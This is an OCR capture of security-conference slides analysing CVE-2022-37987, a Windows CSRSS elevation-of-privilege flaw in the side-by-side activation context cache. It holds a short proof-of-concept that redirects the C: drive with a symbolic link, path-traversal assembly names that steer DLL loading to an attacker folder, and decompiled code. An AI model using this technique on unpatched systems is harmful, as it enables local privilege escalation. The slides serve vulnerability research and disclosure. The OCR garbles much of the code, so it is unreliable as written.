KCon B ?&l:l L

ttttttttttttttttttttttttttttttttttttttttttttt

SxS also stands for
Specter by Side
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¢ Talk is cheap. Show me the code.

int main() {
LoadLibrary("AdmTmpl.dll");
LoadLibrary("adrclient.dll);
LoadLibrary("appmgr.dil*);
LoadLibrary("AuditNativeSnaplin.dll");
LoadLibrary("wuapi.dll");
Link(L"\\??\\C:", L"\\GLOBAL??\\C:\\test");
LoadLibrary("BioCredProv.dll");
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o SXSHIERA R

SxS Directory:

C:\Windows\WinSxS\amdé4 microsoft.windows.common-controls 6595b64144ccf1df 6.0.22000.120 none 9d947278b86cc467\comctl32.dll
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processorArchitecture:

C:\Windows\WinSxS\amdé4 microsoft.windows.common-controls 6595b64144ccf1df 6.0.22000.120 none 9d947278b86cc467\comctl32.dll
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C:\Windows\WinSxS\amdé4 microsoft.windows.common-controls 6595b64144ccf1df 6.0.22000.120 none 9d947278b86cc467\comctl32.dll
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publicKeyToken:

C:\Windows\WinSxS\amdé4 microsoft.windows.common-controls 6595b64144ccf1df 6.0.22000.120 none 9d947278b86cc467\comctl32.dll




¢ SxS NIRRT R

C:\Windows\WinSxS\amdé4 microsoft.windows.common-controls 6595b64144ccf1df 6.0.22000.120 none 9d947278b86cc467\comctl32.dll
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language:

C:\Windows\WinSxS\amdé4 microsoft.windows.common-controls 6595b64144ccf1df 6.0.22000.120 none 9d947278b86cc467\comctl32.dll
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C:\Windows\WinSxS\omd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.22000.120_none_9d947278b86cc467\cbmct|32.dII
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¢ Manifest

1B1g Manifest /= BAHKEIAY DLL

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyldentity name="Microsoft.Windows.Security.Biometrics.CredentialProvider"
processorArchitecture="amdé4" version="5.1.0.0" type="win32"></assemblyldentity>
<description>BioCredProv</description>
<dependency>

<dependentAssembly>

<assemblyldentity type="win32" name="Microsoft. Windows.Common-Controls"

version="6.0.0.0" processorArchitecture="*" publicKkeyToken="6595b64144ccf1df"
language="*"></assemblyldentity>

</dependentAssembly>
</dependency>
<[assembly>
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¢ Manifest

NE; DLL & EFEESRAR Manifest FIREN G117 Activation Context
, 0x18i64, 2i64, & ' , 0i64, 0i64, 0x10);

.dwFlags = 136;
.1pSource =

. 1pResourcelName
.hModule

= CreateActCtxW(&

else

{

return 0;

1
J
1
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¢ Activation Context

B CSRSS BRSSBIZ




¢ Activation Context

{R777E LDR DATA TABLE ENTRY

if (
f
L

= ->EntryPointActivationContext;
if ( )

RtlReleaseActivationContext( );
->EntryPointActivationContext = :




¢ Activation Context

ACTIVATION CONTEXT %544

'ACTIVATION CONTEXT

+0x000 LONG RefCount;

+0x004 ULONG Flags;

+0x008 LIST ENTRY OnLivelist;

+0x018 ACTIVATION CONTEXT DATA* ActivationContextData
+0x020 void *NotificationRoutine:

+0x028 PVOID NotlflcatlonContext

+0x030 ULONG SentNotifications[8];

+0x050 ULONG DisabledNotifications[8];

+0x070 ASSEMBLY STORAGE MAP StorageMap;

+0x080 ASSEMBLY STORAGE MAP ENTRY *InlineStorageMapEntries[32];
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¢ Activation Context

ASSEMBLY STORAGE MAP %44

_ASSEMBLY STORAGE MAP

+0x000 ULONG Flags;

+0x004 ULONG AssemblyCount;

+0x008 ASSEMBLY STORAGE MAP ENTRY **AssemblyArray;
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¢ Activation Context

ASSEMBLY STORAGE MAP ENTRY 413

_ASSEMBLY STORAGE MAP ENTRY
+0x000 ULONG Flags;

+0x008 UNICODE STRING DosPath;
+0x018 HANDLE Handle;

N



o SxS N0

N0EHEREY DLL BN =7E Activation Context Pi{TE




o SxS N0

FREX AssemblyContextSectionKeyedData

= RtlFindActivationContextSectionString(3u, 0i64, 2u, &

_ACTIVATION CONTEXT SECTION KEYED DATA
+0x000 ULONG Size;

+0x004 ULONG DataFormatVersion;

+0x008 PVOID Data;

+0x010 ULONG Length;

+0x018 PVOID SectionGlobalData;

+0x020 ULONG SectionGlobalDatalLength;

+0x028 PVOID SectionBase;

+0x030 ULONG SectionTotalLength;

+0x038 ACTIVATION CONTEXT *ActivationContext;
+0x040 ULONG AssemblyRosterIndex;

+0x044 ULONG Flags;

+0x048 ACTIVATION CONTEXT SECTION KEYED DATA ASSEMBLY METADATA

\AssemblyMetadata



o SxS N0

FREX AssemblyStorageRoot

= RtlGetAssemblyStorageRoot(

2
.ActivationContext,

.AssemblyRosterIndex,

b ]

2

->AssemblyArray|
if (!
return 8xCBBOBOES;
* ->DosPath;
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¢ SxS E1FIOR

CSRSS frRE&ZXt Activation Context {77 EF

= BaseSrvActivationContextCachelookupEntry( KEY
&Key,

.SectionObjectHandle, s40)(0]0]0) UN'CODE_STR'NG MGﬂifeStPGth;
->RunLevel, +0x010 ULONG64 LastWriteTime;
Bt el +0x018 UNICODE STRING AssemblyDirectory;
_>MsixInfo, ’ +0x028 ULONG64 IpResourceName;
) ; +0x030 UNICODE STRING Language;
+0x040 USHORT ProcessorArchitecture;
+0x042 USHORT Flags;

+0x048 FILE ID INFORMATION FileldInfo;




¢ SxS E{FnR

Activation Context HEEFER—IERPEEEN

Normal User

|
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ActCtx Cache




¢ SxS E{FnR

Activation Context HEEFER—IERPEEEN

ActCtx Cache

EntryPointActivationContext




¢ SXS ZE1FOIEN

Activation Context EFHEH

if ( RtlNumberGenericTableElementsAvl( ) > 9x100 )

{

= g SxsActCtxCache;
= g_SxsActCtxCache + 1;
= g SxsActCtxCache[1].BalancedRoot.LeftChild;
->Link.LeftChild;
->Link.Parent != &g SxsActCtxCache[1] ||
__fastfail(3u);

g SxsActCtxCache[1].BalancedRoot.LeftChild =

L1d->Parent = & ->BalancedRoot;

— .
- >
if ( !RtlDeleteElementGenericTableAv]( ,

r
1

DbgPrintEx(0x33u, @, "Fail to remove cache entry\n");
memset 0(& , 8, sizeof( ));
= Ox(C00B0B229,;

->Parent !=
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<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyldentity name="Microsoft.Windows.Security.Biometrics.CredentialProvider"
processorArchitecture="amdé4" version="5.1.0.0" type="win32"></assemblyldentity>
<description>BioCredProv</description>
<dependency>

<dependentAssembly>

<assemblyldentity type="win32" name="Microsoft. Windows.Common-Controls"

version="6.0.0.0" processorArchitecture="*" publicKkeyToken="6595b64144ccf1df"
language="*"></assemblyldentity>

</dependentAssembly>
</dependency>
<[assembly>

N



o P15 iBki0) B2

C:\Windows\WinSxS\Manifests\
amdé4 _microsoft.windows.common-controls 6595b64144ccf1df 6.0.22000.120 none 9d947278b86cc467.manifest

<assemblyldentity type="win32" name="Microsoft. Windows.Common-Controls"
version="6.0.0.0" processorArchitecture="*" publicKkeyToken="6595b64144ccf1df"
language="*"><[/assemblyldentity>
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$N MANIFEST
$N\SN.DLL
$N\EN.MANIFEST

C:\Windows\WinSxS\Manifests\amdé4 microsoft.windows.common-
controls 6595b64144ccf1df 6.0.22000.120 none 9d947278b86cc467.manifest
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™M
$G\$N.DL
$.$L$N.DLL
$.$LSN.MANIFEST
$.5L

$.5L

$N\SN.DLL
$N\EN.MANIFEST

C:\Windows\assembly\GAC_64\Microsoft. Windows.Common-Controls\6.0.0.0 zh-
CN_6595b64144ccfldf\Microsoft. Windows.Common-Controls.DLL

N
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LEN\SN.DLL

$

$

$.$

% $L$N MANIFEST
$.$LSN\SN.MANIFEST

C:\Windows\System32\zh-CN\Microsoft. Windows.Common-Controls.DLL
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$M

$G\$N.DLL
$.$LEN.DLL
$.$LEN.MANIFES
$.SLEN\EN.DLL
$.SLEN\EN.MANIFEST

C:\Windows\System32\zh-CN\Microsoft. Windows.Common-Controls. MANIFEST
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™M
$G\$N.DLL
$.$L$N.DLL
$.$LSN.MANIFEST
$.5L

$.5L

SN\SN.DLL=
SN\SN. MAM

C:\Windows\System32\zh-CN\Microsoft. Windows.Common-Controls\Microsoft. Windows.Common-Controls.DLL
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™M

$G\$N.DLL
$.$L$N.DLL
$.$LSN.MANIFEST
$.$LSN\$N.DLL
$.5L

$N\EN. MANIFEGJ-\‘

C:\Windows\System32\zh-CN\Microsoft. Windows.Common-Controls\Microsoft. Windows.Common-
Controls.MANIFEST

N



o P15 iBki0) B2

<assemblyldentity type="win32" name=" " version="6.0.0.0" processorArchitecture="*"
publicKkeyToken="6595b64144ccf1df" language="*"></assemblyldentity>
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C:\Windows\WinSxS\Manifests\amdé4 ......testtest 6595b64144ccf1df 6.0.22000.120 none 9d947278b86cc467.
manifest

C:\Windows\assembly\GAC 64\..\..\..\test\test\6.0.0.0 zh-CN 6595b64144ccf1df\..\..\..\test\test.DLL
C:\Windows\System32\zh-CN\..\..\..\test\test.DLL
C:\Windows\System32\zh-CN\..\..\..\test\test. MANIFEST
C:\Windows\System32\zh-CN\..\..\..\test\test\..\..\..\test\test.DLL
C:\Windows\System32\zh-CN\..\..\..\test\test\..\..\..\test\test. MANIFEST

C:\test\test. MANIFEST

N



int main() {
LoadLibrary("AdmTmpl.dll"); N
LoadLibrary("adrclient.dll");

LoadLibrary("appmgr.dil”); L —_
LoadLibrary("AuditNativeSnapin.dil*); EEST

LoadLibrary("wuapi.dll");
Link(L"\\??\\C:", L"\\GLOBAL?’?\\C \\test")

LoodLlbrory("BloCredProv dll*); BB EZ
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FMER2022F10R 28 T X —[0) 2%

Windows Client Server Run-time Subsystem (CSRSS) Elevation of Privilege Vulnerability

CVE-2022-37987
Security Vulnerability

Released: Oct 11, 2022

Assigning CNA: ©  Microsoft

CVE-2022-37987 [
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X Assembly Identity Name #7156 i R & 12 25 i jn) %

bool _ fastcall SxspIsAssemblyldentityNameValidForManifest(wchar_t *Name, SIZE T Size, bool *rfValid)

.Previous = 0i64;
.Context = &g Context;
.Flags = 1;
= & 3
= " sxS5°;
= 4510;
Rt1PushFrame(& );
if...
*rfValid = @,
if ( S - 1 <= o0x102 )

r
1

. = 0i64;
while ( lwcsstr( , (&InvalidChar)[i]) )

;
1

if ((++1 >=2)




¢ NE{EE

12 Integrity Level IRE TR BEREF S HIOA

= GetTokenILValue( , &CurrentIl);
if ( <0)
goto LABEL_145;
0;
= BaseSrvActivationContextCachelookupEntry(
&Key,
.SectionObjectHandle,
->RunlLevel,
->SupportedOsInfo,
->MaxVersionTestedInfo,
->MsixInfo,

2

)5
if ( ( + Ox80000000) >= 0 && I= 9x(C0000225 )
goto LABEL_145;
if ( .SectionObjectHandle && < CurrentIL )

{

= BaseSrvActivationContextCacheRemoveEntry(&Key);
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